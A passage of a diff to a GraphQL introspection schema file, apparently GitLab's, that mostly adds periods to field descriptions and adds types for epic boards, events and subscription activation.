epic", + "description": "State of the epic.", "args": [ ], @@ -23693,7 +25512,7 @@ }, { "name": "subscribed", - "description": "Indicates the currently logged in user is subscribed to the epic", + "description": "Indicates the currently logged in user is subscribed to the epic.", "args": [ ], @@ -23711,7 +25530,7 @@ }, { "name": "title", - "description": "Title of the epic", + "description": "Title of the epic.", "args": [ ], @@ -23725,7 +25544,7 @@ }, { "name": "updatedAt", - "description": "Timestamp of when the epic was updated", + "description": "Timestamp of when the epic was updated.", "args": [ ], @@ -23739,7 +25558,7 @@ }, { "name": "upvotes", - "description": "Number of upvotes the epic has received", + "description": "Number of upvotes the epic has received.", "args": [ ], @@ -23757,7 +25576,7 @@ }, { "name": "userDiscussionsCount", - "description": "Number of user discussions in the epic", + "description": "Number of user discussions in the epic.", "args": [ ], @@ -23775,7 +25594,7 @@ }, { "name": "userNotesCount", - "description": "Number of user notes of the epic", + "description": "Number of user notes of the epic.", "args": [ ], @@ -23811,7 +25630,7 @@ }, { "name": "webPath", - "description": "Web path of the epic", + "description": "Web path of the epic.", "args": [ ], @@ -23829,7 +25648,7 @@ }, { "name": "webUrl", - "description": "Web URL of the epic", + "description": "Web URL of the epic.", "args": [ ], @@ -23857,6 +25676,11 @@ "kind": "INTERFACE", "name": "CurrentUserTodos", "ofType": null + }, + { + "kind": "INTERFACE", + "name": "Eventable", + "ofType": null } ], "enumValues": null, @@ -24196,6 +26020,134 @@ "possibleTypes": null }, { + "kind": "INPUT_OBJECT", + "name": "EpicBoardCreateInput", + "description": "Autogenerated input type of EpicBoardCreate", + "fields": null, + "inputFields": [ + { + "name": "name", + "description": "The board name.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "hideBacklogList", + "description": "Whether or not backlog list is hidden.", + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "hideClosedList", + "description": "Whether or not closed list is hidden.", + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "groupPath", + "description": "Full path of the group with which the resource is associated.", + "type": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "EpicBoardCreatePayload", + "description": "Autogenerated return type of EpicBoardCreate", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "epicBoard", + "description": "The created epic board.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "EpicBoard", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "EpicBoardEdge", "description": "An edge in a connection.", @@ -24241,6 +26193,128 @@ "possibleTypes": null }, { + "kind": "INPUT_OBJECT", + "name": "EpicBoardListCreateInput", + "description": "Autogenerated input type of EpicBoardListCreate", + "fields": null, + "inputFields": [ + { + "name": "backlog", + "description": "Create the backlog list.", + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "labelId", + "description": "Global ID of an existing label.", + "type": { + "kind": "SCALAR", + "name": "LabelID", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "boardId", + "description": "Global ID of the issue board to mutate.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "BoardsEpicBoardID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "EpicBoardListCreatePayload", + "description": "Autogenerated return type of EpicBoardListCreate", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "list", + "description": "Epic list in the epic board.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "EpicList", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "EpicConnection", "description": "The connection type for Epic.", @@ -24314,7 +26388,7 @@ "fields": [ { "name": "closedEpics", - "description": "Number of closed child epics", + "description": "Number of closed child epics.", "args": [ ], @@ -24328,7 +26402,7 @@ }, { "name": "closedIssues", - "description": "Number of closed epic issues", + "description": "Number of closed epic issues.", "args": [ ], @@ -24342,7 +26416,7 @@ }, { "name": "openedEpics", - "description": "Number of opened child epics", + "description": "Number of opened child epics.", "args": [ ], @@ -24356,7 +26430,7 @@ }, { "name": "openedIssues", - "description": "Number of opened epic issues", + "description": "Number of opened epic issues.", "args": [ ], @@ -24383,7 +26457,7 @@ "fields": [ { "name": "closedIssues", - "description": "Total weight of completed (closed) issues in this epic, including epic descendants", + "description": "Total weight of completed (closed) issues in this epic, including epic descendants.", "args": [ ], @@ -24397,7 +26471,7 @@ }, { "name": "openedIssues", - "description": "Total weight of opened issues in this epic, including epic descendants", + "description": "Total weight of opened issues in this epic, including epic descendants.", "args": [ ], @@ -24469,7 +26543,7 @@ "fields": [ { "name": "issuesAtRisk", - "description": "Number of issues at risk", + "description": "Number of issues at risk.", "args": [ ], @@ -24483,7 +26557,7 @@ }, { "name": "issuesNeedingAttention", - "description": "Number of issues that need attention", + "description": "Number of issues that need attention.", "args": [ ], @@ -24497,7 +26571,7 @@ }, { "name": "issuesOnTrack", - "description": "Number of issues on track", + "description": "Number of issues on track.", "args": [ ], @@ -24520,7 +26594,7 @@ { "kind": "SCALAR", "name": "EpicID", - "description": "Identifier of Epic", + "description": "Identifier of Epic.", "fields": null, "inputFields": null, "interfaces": null, @@ -24534,7 +26608,7 @@ "fields": [ { "name": "alertManagementAlert", - "description": "Alert associated to this issue", + "description": "Alert associated to this issue.", "args": [ ], @@ -24548,7 +26622,7 @@ }, { "name": "assignees", - "description": "Assignees of the issue", + "description": "Assignees of the issue.", "args": [ { "name": "after", @@ -24601,7 +26675,7 @@ }, { "name": "author", - "description": "User that created the issue", + "description": "User that created the issue.", "args": [ ], @@ -24651,7 +26725,7 @@ }, { "name": "closedAt", - "description": "Timestamp of when the issue was closed", + "description": "Timestamp of when the issue was closed.", "args": [ ], @@ -24665,7 +26739,7 @@ }, { "name": "confidential", - "description": "Indicates the issue is confidential", + "description": "Indicates the issue is confidential.", "args": [ ], @@ -24683,7 +26757,7 @@ }, { "name": "createNoteEmail", - "description": "User specific email address for the issue", + "description": "User specific email address for the issue.", "args": [ ], @@ -24697,7 +26771,7 @@ }, { "name": "createdAt", - "description": "Timestamp of when the issue was created", + "description": "Timestamp of when the issue was created.", "args": [ ], @@ -24715,7 +26789,7 @@ }, { "name": "currentUserTodos", - "description": "Todos for the current user", + "description": "To-do items for the current user.", "args": [ { "name": "after", @@ -24759,7 +26833,7 @@ }, { "name": "state", - "description": "State of the todos", + "description": "State of the to-do items.", "type": { "kind": "ENUM", "name": "TodoStateEnum", @@ -24782,7 +26856,7 @@ }, { "name": "description", - "description": "Description of the issue", + "description": "Description of the issue.", "args": [ ], @@ -24810,7 +26884,7 @@ }, { "name": "designCollection", - "description": "Collection of design images associated with this issue", + "description": "Collection of design images associated with this issue.", "args": [ ], @@ -24824,7 +26898,7 @@ }, { "name": "discussionLocked", - "description": "Indicates discussion is locked on the issue", + "description": "Indicates discussion is locked on the issue.", "args": [ ], @@ -24842,7 +26916,7 @@ }, { "name": "discussions", - "description": "All discussions on this noteable", + "description": "All discussions on this noteable.", "args": [ { "name": "after", @@ -24899,7 +26973,7 @@ }, { "name": "downvotes", - "description": "Number of downvotes the issue has received", + "description": "Number of downvotes the issue has received.", "args": [ ], @@ -24917,7 +26991,7 @@ }, { "name": "dueDate", - "description": "Due date of the issue", + "description": "Due date of the issue.", "args": [ ], @@ -24931,7 +27005,7 @@ }, { "name": "emailsDisabled", - "description": "Indicates if a project has email notifications disabled: `true` if email notifications are disabled", + "description": "Indicates if a project has email notifications disabled: `true` if email notifications are disabled.", "args": [ ], @@ -24963,7 +27037,7 @@ }, { "name": "epicIssueId", - "description": "ID of the epic-issue relation", + "description": "ID of the epic-issue relation.", "args": [ ], @@ -24995,7 +27069,7 @@ }, { "name": "humanTimeEstimate", - "description": "Human-readable time estimate of the issue", + "description": "Human-readable time estimate of the issue.", "args": [ ], @@ -25009,7 +27083,7 @@ }, { "name": "humanTotalTimeSpent", - "description": "Human-readable total time reported as spent on the issue", + "description": "Human-readable total time reported as spent on the issue.", "args": [ ], @@ -25023,7 +27097,7 @@ }, { "name": "id", - "description": "Global ID of the epic-issue relation", + "description": "Global ID of the epic-issue relation.", "args": [ ], @@ -25037,7 +27111,7 @@ }, { "name": "iid", - "description": "Internal ID of the issue", + "description": "Internal ID of the issue.", "args": [ ], @@ -25069,7 +27143,7 @@ }, { "name": "labels", - "description": "Labels of the issue", + "description": "Labels of the issue.", "args": [ { "name": "after", @@ -25144,7 +27218,7 @@ }, { "name": "milestone", - "description": "Milestone of the issue", + "description": "Milestone of the issue.", "args": [ ], @@ -25158,7 +27232,7 @@ }, { "name": "moved", - "description": "Indicates if issue got moved from other project", + "description": "Indicates if issue got moved from other project.", "args": [ ], @@ -25172,7 +27246,7 @@ }, { "name": "movedTo", - "description": "Updated Issue after it got moved to another project", + "description": "Updated Issue after it got moved to another project.", "args": [ ], @@ -25186,7 +27260,7 @@ }, { "name": "notes", - "description": "All notes on this noteable", + "description": "All notes on this noteable.", "args": [ { "name": "after", @@ -25243,7 +27317,7 @@ }, { "name": "participants", - "description": "List of participants in the issue", + "description": "List of participants in the issue.", "args": [ { "name": "after", @@ -25296,11 +27370,11 @@ }, { "name": "reference", - "description": "Internal reference of the issue. Returned in shortened format by default", + "description": "Internal reference of the issue. Returned in shortened format by default.", "args": [ { "name": "full", - "description": "Boolean option specifying whether the reference should be returned in full", + "description": "Boolean option specifying whether the reference should be returned in full.", "type": { "kind": "SCALAR", "name": "Boolean", @@ -25323,7 +27397,7 @@ }, { "name": "relationPath", - "description": "URI path of the epic-issue relation", + "description": "URI path of the epic-issue relation.", "args": [ ], @@ -25337,7 +27411,7 @@ }, { "name": "relativePosition", - "description": "Relative position of the issue (used for positioning in epic tree and issue boards)", + "description": "Relative position of the issue (used for positioning in epic tree and issue boards).", "args": [ ], @@ -25351,7 +27425,7 @@ }, { "name": "severity", - "description": "Severity level of the incident", + "description": "Severity level of the incident.", "args": [ ], @@ -25379,7 +27453,7 @@ }, { "name": "state", - "description": "State of the issue", + "description": "State of the issue.", "args": [ ], @@ -25411,7 +27485,7 @@ }, { "name": "subscribed", - "description": "Indicates the currently logged in user is subscribed to the issue", + "description": "Indicates the currently logged in user is subscribed to the issue.", "args": [ ], @@ -25429,7 +27503,7 @@ }, { "name": "taskCompletionStatus", - "description": "Task completion status of the issue", + "description": "Task completion status of the issue.", "args": [ ], @@ -25447,7 +27521,7 @@ }, { "name": "timeEstimate", - "description": "Time estimate of the issue", + "description": "Time estimate of the issue.", "args": [ ], @@ -25465,7 +27539,7 @@ }, { "name": "title", - "description": "Title of the issue", + "description": "Title of the issue.", "args": [ ], @@ -25497,7 +27571,7 @@ }, { "name": "totalTimeSpent", - "description": "Total time reported as spent on the issue", + "description": "Total time reported as spent on the issue.", "args": [ ], @@ -25515,7 +27589,7 @@ }, { "name": "type", - "description": "Type of the issue", + "description": "Type of the issue.", "args": [ ], @@ -25529,7 +27603,7 @@ }, { "name": "updatedAt", - "description": "Timestamp of when the issue was last updated", + "description": "Timestamp of when the issue was last updated.", "args": [ ], @@ -25547,7 +27621,7 @@ }, { "name": "updatedBy", - "description": "User that last updated the issue", + "description": "User that last updated the issue.", "args": [ ], @@ -25561,7 +27635,7 @@ }, { "name": "upvotes", - "description": "Number of upvotes the issue has received", + "description": "Number of upvotes the issue has received.", "args": [ ], @@ -25579,7 +27653,7 @@ }, { "name": "userDiscussionsCount", - "description": "Number of user discussions in the issue", + "description": "Number of user discussions in the issue.", "args": [ ], @@ -25597,7 +27671,7 @@ }, { "name": "userNotesCount", - "description": "Number of user notes of the issue", + "description": "Number of user notes of the issue.", "args": [ ], @@ -25633,7 +27707,7 @@ }, { "name": "webPath", - "description": "Web path of the issue", + "description": "Web path of the issue.", "args": [ ], @@ -25651,7 +27725,7 @@ }, { "name": "webUrl", - "description": "Web URL of the issue", + "description": "Web URL of the issue.", "args": [ ], @@ -25705,7 +27779,7 @@ "fields": [ { "name": "count", - "description": "Total count of collection", + "description": "Total count of collection.", "args": [ ], @@ -25777,7 +27851,7 @@ }, { "name": "weight", - "description": "Total weight of issues collection", + "description": "Total weight of issues collection.", "args": [ ], @@ -26488,7 +28562,7 @@ "inputFields": [ { "name": "id", - "description": "The ID of the epic_issue or epic that is being moved", + "description": "The ID of the epic_issue or epic that is being moved.", "type": { "kind": "NON_NULL", "name": null, @@ -26502,7 +28576,7 @@ }, { "name": "adjacentReferenceId", - "description": "The ID of the epic_issue or issue that the actual epic or issue is switched with", + "description": "The ID of the epic_issue or issue that the actual epic or issue is switched with.", "type": { "kind": "SCALAR", "name": "EpicTreeSortingID", @@ -26512,7 +28586,7 @@ }, { "name": "relativePosition", - "description": "The type of the switch, after or before allowed", + "description": "The type of the switch, after or before allowed.", "type": { "kind": "ENUM", "name": "MoveType", @@ -26522,7 +28596,7 @@ }, { "name": "newParentId", - "description": "ID of the new parent epic", + "description": "ID of the new parent epic.", "type": { "kind": "SCALAR", "name": "EpicID", @@ -26640,7 +28714,7 @@ { "kind": "SCALAR", "name": "EpicTreeSortingID", - "description": "Identifier of EpicTreeSorting", + "description": "Identifier of EpicTreeSorting.", "fields": null, "inputFields": null, "interfaces": null, @@ -26671,6 +28745,385 @@ "possibleTypes": null }, { + "kind": "OBJECT", + "name": "Event", + "description": "Representing an event", + "fields": [ + { + "name": "action", + "description": "Action of the event.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "EventAction", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "author", + "description": "Author of this event.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "User", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "createdAt", + "description": "When this event was created.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "id", + "description": "ID of the event.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "updatedAt", + "description": "When this event was updated.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "ENUM", + "name": "EventAction", + "description": "Event action", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": [ + { + "name": "CREATED", + "description": "Created action", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "UPDATED", + "description": "Updated action", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "CLOSED", + "description": "Closed action", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "REOPENED", + "description": "Reopened action", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "PUSHED", + "description": "Pushed action", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "COMMENTED", + "description": "Commented action", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "MERGED", + "description": "Merged action", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "JOINED", + "description": "Joined action", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "LEFT", + "description": "Left action", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "DESTROYED", + "description": "Destroyed action", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "EXPIRED", + "description": "Expired action", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "APPROVED", + "description": "Approved action", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "ARCHIVED", + "description": "Archived action", + "isDeprecated": false, + "deprecationReason": null + } + ], + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "EventConnection", + "description": "The connection type for Event.", + "fields": [ + { + "name": "edges", + "description": "A list of edges.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "EventEdge", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "nodes", + "description": "A list of nodes.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "Event", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pageInfo", + "description": "Information to aid in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "PageInfo", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "EventEdge", + "description": "An edge in a connection.", + "fields": [ + { + "name": "cursor", + "description": "A cursor for use in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "node", + "description": "The item at the end of the edge.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "Event", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INTERFACE", + "name": "Eventable", + "description": null, + "fields": [ + { + "name": "events", + "description": "A list of events associated with the object.", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "EventConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": [ + { + "kind": "OBJECT", + "name": "BoardEpic", + "ofType": null + }, + { + "kind": "OBJECT", + "name": "Epic", + "ofType": null + } + ] + }, + { "kind": "INPUT_OBJECT", "name": "ExportRequirementsInput", "description": "Autogenerated input type of ExportRequirements", @@ -26739,6 +29192,24 @@ "defaultValue": null }, { + "name": "selectedFields", + "description": "List of selected requirements fields to be exported.", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + }, + "defaultValue": null + }, + { "name": "clientMutationId", "description": "A unique identifier for the client performing the mutation.", "type": { @@ -26813,7 +29284,7 @@ "fields": [ { "name": "createdAt", - "description": "Timestamp of when the issue was created", + "description": "Timestamp of when the issue was created.", "args": [ ], @@ -26827,7 +29298,7 @@ }, { "name": "externalTracker", - "description": "Type of external tracker", + "description": "Type of external tracker.", "args": [ ], @@ -26841,7 +29312,7 @@ }, { "name": "relativeReference", - "description": "Relative reference of the issue in the external tracker", + "description": "Relative reference of the issue in the external tracker.", "args": [ ], @@ -26855,7 +29326,7 @@ }, { "name": "status", - "description": "Status of the issue in the external tracker", + "description": "Status of the issue in the external tracker.", "args": [ ], @@ -26869,7 +29340,7 @@ }, { "name": "title", - "description": "Title of the issue in the external tracker", + "description": "Title of the issue in the external tracker.", "args": [ ], @@ -26883,7 +29354,7 @@ }, { "name": "updatedAt", - "description": "Timestamp of when the issue was updated", + "description": "Timestamp of when the issue was updated.", "args": [ ], @@ -26897,7 +29368,7 @@ }, { "name": "webUrl", - "description": "URL to the issue in the external tracker", + "description": "URL to the issue in the external tracker.", "args": [ ], @@ -26934,7 +29405,7 @@ "fields": [ { "name": "containerRepositoriesMaxCapacity", - "description": "The maximum concurrency of container repository sync for this secondary node", + "description": "The maximum concurrency of container repository sync for this secondary node.", "args": [ ], @@ -26948,7 +29419,7 @@ }, { "name": "enabled", - "description": "Indicates whether this Geo node is enabled", + "description": "Indicates whether this Geo node is enabled.", "args": [ ], @@ -26962,7 +29433,7 @@ }, { "name": "filesMaxCapacity", - "description": "The maximum concurrency of LFS/attachment backfill for this secondary node", + "description": "The maximum concurrency of LFS/attachment backfill for this secondary node.", "args": [ ], @@ -26976,7 +29447,7 @@ }, { "name": "id", - "description": "ID of this GeoNode", + "description": "ID of this GeoNode.", "args": [ ], @@ -26994,7 +29465,7 @@ }, { "name": "internalUrl", - "description": "The URL defined on the primary node that secondary nodes should use to contact it", + "description": "The URL defined on the primary node that secondary nodes should use to contact it.", "args": [ ], @@ -27008,7 +29479,7 @@ }, { "name": "mergeRequestDiffRegistries", - "description": "Find merge request diff registries on this Geo node", + "description": "Find merge request diff registries on this Geo node.", "args": [ { "name": "ids", @@ -27079,7 +29550,7 @@ }, { "name": "minimumReverificationInterval", - "description": "The interval (in days) in which the repository verification is valid. Once expired, it will be reverified", + "description": "The interval (in days) in which the repository verification is valid. Once expired, it will be reverified.", "args": [ ], @@ -27093,7 +29564,7 @@ }, { "name": "name", - "description": "The unique identifier for this Geo node", + "description": "The unique identifier for this Geo node.", "args": [ ], @@ -27107,7 +29578,7 @@ }, { "name": "packageFileRegistries", - "description": "Package file registries of the GeoNode", + "description": "Package file registries of the GeoNode.", "args": [ { "name": "ids", @@ -27178,7 +29649,7 @@ }, { "name": "primary", - "description": "Indicates whether this Geo node is the primary", + "description": "Indicates whether this Geo node is the primary.", "args": [ ], @@ -27192,7 +29663,7 @@ }, { "name": "reposMaxCapacity", - "description": "The maximum concurrency of repository backfill for this secondary node", + "description": "The maximum concurrency of repository backfill for this secondary node.", "args": [ ], @@ -27206,7 +29677,7 @@ }, { "name": "selectiveSyncNamespaces", - "description": "The namespaces that should be synced, if `selective_sync_type` == `namespaces`", + "description": "The namespaces that should be synced, if `selective_sync_type` == `namespaces`.", "args": [ { "name": "after", @@ -27259,7 +29730,7 @@ }, { "name": "selectiveSyncShards", - "description": "The repository storages whose projects should be synced, if `selective_sync_type` == `shards`", + "description": "The repository storages whose projects should be synced, if `selective_sync_type` == `shards`.", "args": [ ], @@ -27281,7 +29752,7 @@ }, { "name": "selectiveSyncType", - "description": "Indicates if syncing is limited to only specific groups, or shards", + "description": "Indicates if syncing is limited to only specific groups, or shards.", "args": [ ], @@ -27295,7 +29766,7 @@ }, { "name": "snippetRepositoryRegistries", - "description": "Find snippet repository registries on this Geo node", + "description": "Find snippet repository registries on this Geo node.", "args": [ { "name": "ids", @@ -27366,7 +29837,7 @@ }, { "name": "syncObjectStorage", - "description": "Indicates if this secondary node will replicate blobs in Object Storage", + "description": "Indicates if this secondary node will replicate blobs in Object Storage.", "args": [ ], @@ -27380,7 +29851,7 @@ }, { "name": "terraformStateVersionRegistries", - "description": "Find terraform state version registries on this Geo node", + "description": "Find terraform state version registries on this Geo node.", "args": [ { "name": "ids", @@ -27451,7 +29922,7 @@ }, { "name": "url", - "description": "The user-facing URL for this Geo node", + "description": "The user-facing URL for this Geo node.", "args": [ ], @@ -27465,7 +29936,7 @@ }, { "name": "verificationMaxCapacity", - "description": "The maximum concurrency of repository verification for this secondary node", + "description": "The maximum concurrency of repository verification for this secondary node.", "args": [ ], @@ -27488,7 +29959,7 @@ { "kind": "SCALAR", "name": "GitlabErrorTrackingDetailedErrorID", - "description": "Identifier of Gitlab::ErrorTracking::DetailedError", + "description": "Identifier of Gitlab::ErrorTracking::DetailedError.", "fields": null, "inputFields": null, "interfaces": null, @@ -27496,13 +29967,101 @@ "possibleTypes": null }, { + "kind": "INPUT_OBJECT", + "name": "GitlabSubscriptionActivateInput", + "description": "Autogenerated input type of GitlabSubscriptionActivate", + "fields": null, + "inputFields": [ + { + "name": "activationCode", + "description": "Activation code received after purchasing a GitLab subscription.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "GitlabSubscriptionActivatePayload", + "description": "Autogenerated return type of GitlabSubscriptionActivate", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "GrafanaIntegration", "description": null, "fields": [ { "name": "createdAt", - "description": "Timestamp of the issue's creation", + "description": "Timestamp of the issue's creation.", "args": [ ], @@ -27520,7 +30079,7 @@ }, { "name": "enabled", - "description": "Indicates whether Grafana integration is enabled", + "description": "Indicates whether Grafana integration is enabled.", "args": [ ], @@ -27538,7 +30097,7 @@ }, { "name": "grafanaUrl", - "description": "URL for the Grafana host for the Grafana integration", + "description": "URL for the Grafana host for the Grafana integration.", "args": [ ], @@ -27556,7 +30115,7 @@ }, { "name": "id", - "description": "Internal ID of the Grafana integration", + "description": "Internal ID of the Grafana integration.", "args": [ ], @@ -27574,7 +30133,7 @@ }, { "name": "updatedAt", - "description": "Timestamp of the issue's last activity", + "description": "Timestamp of the issue's last activity.", "args": [ ], @@ -27605,7 +30164,7 @@ "fields": [ { "name": "actualRepositorySizeLimit", - "description": "Size limit for repositories in the namespace in bytes", + "description": "Size limit for repositories in the namespace in bytes.", "args": [ ], @@ -27619,7 +30178,7 @@ }, { "name": "additionalPurchasedStorageSize", - "description": "Additional storage purchased for the root namespace in bytes", + "description": "Additional storage purchased for the root namespace in bytes.", "args": [ ], @@ -27633,7 +30192,7 @@ }, { "name": "autoDevopsEnabled", - "description": "Indicates whether Auto DevOps is enabled for all projects within this group", + "description": "Indicates whether Auto DevOps is enabled for all projects within this group.", "args": [ ], @@ -27647,7 +30206,7 @@ }, { "name": "avatarUrl", - "description": "Avatar URL of the group", + "description": "Avatar URL of the group.", "args": [ ], @@ -27661,7 +30220,7 @@ }, { "name": "board", - "description": "A single board of the group", + "description": "A single board of the group.", "args": [ { "name": "id", @@ -27688,7 +30247,7 @@ }, { "name": "boards", - "description": "Boards of the group", + "description": "Boards of the group.", "args": [ { "name": "id", @@ -27751,7 +30310,7 @@ }, { "name": "codeCoverageActivities", - "description": "Represents the code coverage activity for this group", + "description": "Represents the code coverage activity for this group.", "args": [ { "name": "startDate", @@ -27881,7 +30440,7 @@ }, { "name": "containerRepositories", - "description": "Container repositories of the group", + "description": "Container repositories of the group.", "args": [ { "name": "name", @@ -27894,6 +30453,16 @@ "defaultValue": null }, { + "name": "sort", + "description": "Sort container repositories by this criteria.", + "type": { + "kind": "ENUM", + "name": "ContainerRepositorySort", + "ofType": null + }, + "defaultValue": "created_desc" + }, + { "name": "after", "description": "Returns the elements in the list that come after the specified cursor.", "type": { @@ -27944,7 +30513,7 @@ }, { "name": "containerRepositoriesCount", - "description": "Number of container repositories in the group", + "description": "Number of 